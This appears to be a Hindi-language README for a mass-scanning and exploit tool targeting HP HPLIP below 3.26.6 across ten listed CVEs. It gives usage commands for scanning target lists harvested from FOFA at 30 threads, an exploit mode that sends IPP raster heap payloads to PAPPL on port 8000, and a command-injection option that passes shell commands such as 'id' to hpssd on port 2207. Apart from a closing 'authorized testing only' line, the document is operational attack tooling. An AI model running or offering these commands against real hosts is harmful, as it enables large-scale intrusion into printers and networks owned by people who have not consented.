
HP HPLIP CVE-2026-91097–91106 (<3.26.6) के लिए सामूहिक जाँच/शोध एक्सप्लॉइट, PAPPL :8000 IPP प्रोब्स + hpssd टेम्पलेट्स
HP HPLIP < 3.26.6 के लिए मास चेक और रिसर्च एक्सप्लॉइट ड्राइवर — CVE-2026-91097 से CVE-2026-91106 तक।
| CVE | CVSS 4 | CWE | रिमोट |
|---|---|---|---|
| CVE-2026-91097 | 7.0 | CWE-787 | हाँ (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | हाँ (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | लोकल |
| CVE-2026-91100 | 6.8 | CWE-78 | लोकल |
| CVE-2026-91102 | 8.4 | CWE-78 | लोकल |
| CVE-2026-91101 | 5.1 | CWE-129 | फिजिकल |
| CVE-2026-91103 | 5.1 | CWE-191 | फिजिकल |
| CVE-2026-91104 | 9.3 | CWE-122 | हाँ |
| CVE-2026-91105 | 8.6 | CWE-122 | हाँ (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | हाँ |
फिक्स्ड: HPLIP 3.26.6+
| सरफेस | डिटेक्शन | एक्सप्लॉइट नोट्स |
|---|---|---|
hpssd :2207 | TCP + XML प्रोब | -c id कमांड-इंजेक्शन टेम्पलेट (लेगेसी hpssd स्टाइल) |
CUPS/IPP :631 | HTTP प्रोब | कैटलॉग / फिंगरप्रिंट |
HPLIP Printer Application :8000+ | HTTP PAPPL UI + वर्ज़न स्ट्रिंग | IPP Print-Job + PWG रास्टर रिसर्च (ZDI-26-656 / PAPPL < 1.4.12) — HTTP पर शेल आउटपुट नहीं |
FOFA body="hplip" हिट्स अक्सर :8000 PAPPL होते हैं, :2207 नहीं। टारगेट लिस्ट में host:port का उपयोग करें।
--flow मास चेक)
pip install -r requirements.txtpip install -r requirements.txt
# Single target (default ports 631, 2207, 9100 if no port given)
python poc.py -u 192.0.2.10 --mode check
# FOFA port (recommended)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Mass — all 10 CVEs
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Critical network heap CVEs only
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Exploit research (PAPPL on :8000 → IPP raster; -c id only meaningful on hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
# Save export as fofa_csv_1049.csv (or pass -i)
python fofa_to_list.py
# list.txt (all) + list_hplip_printer.txt (title hint = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
|CVE… वाली लाइनें | से पहले के हिस्से को होस्ट के रूप में उपयोग करती हैं (हिट्स आउटपुट के लिए वैकल्पिक CVE संकेत)।
| विकल्प | विवरण |
|---|---|
-u / --url | होस्ट, host:port, या http://host:port |
--list | प्रति लाइन एक टारगेट |
--mode | check या exploit |
--cve | all या कॉमा-सेपरेटेड CVE आईडी |
-c / --command | शेल कमांड (केवल hpssd कमांड-इंजेक्शन प्रयास) |
--heap-size | रॉ TCP हीप प्रोब साइज़ (डिफ़ॉल्ट 8192) |
--threads, -j | मास कंकरेंसी (डिफ़ॉल्ट 20) |
--timeout | प्रति-टारगेट टाइमआउट सेकंड (डिफ़ॉल्ट 8) |
--flow, -f | प्रति टारगेट एक रिज़ल्ट लाइन |
--output | JSONL (डिफ़ॉल्ट massexploit_results.jsonl) |
--vuln-list | hits.txt (चेक) या exploited.txt (एक्सप्लॉइट) |
| फ़ाइल | सामग्री |
|---|---|
massexploit_results.jsonl | प्रति होस्ट पूर्ण JSON |
hits.txt | कैंडिडेट्स (host|cve,…) |
status मान| स्टेटस | अर्थ |
|---|---|
hplip_surface_candidate | ओपन पोर्ट + वर्ज़न/CVE मैपिंग |
network_surface_version_unknown | TCP ओपन, HPLIP/PAPPL संभावित, वर्ज़न अपठित |
no_open_ports | स्कैन किए गए पोर्ट्स पर कुछ भी रीचेबल नहीं |
patched_version | HPLIP वर्ज़न ≥ 3.26.6 |
| स्टेटस | अर्थ |
|---|---|
pappl_raster_sent_no_shell_output | PAPPL पोर्ट पर IPP/रास्टर भेजा गया; HTTP में कोई id नहीं (हीप RCE क्लास) |
exploit_attempted_no_confirm | प्रयास किया गया, कोई सत्यापन नहीं |
exploited | केवल तब जब रिस्पॉन्स कमांड-इंजेक्शन ह्यूरिस्टिक्स से मेल खाए (दुर्लभ) |
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
--cve all के लिए सूचीबद्ध हैं लेकिन बड़े पैमाने पर रिमोटली एक्सप्लॉइटेबल नहीं हैं।केवल अधिकृत सुरक्षा परीक्षण के लिए। लागू कानूनों और कार्यक्रम नियमों का अनुपालन आपकी ज़िम्मेदारी है।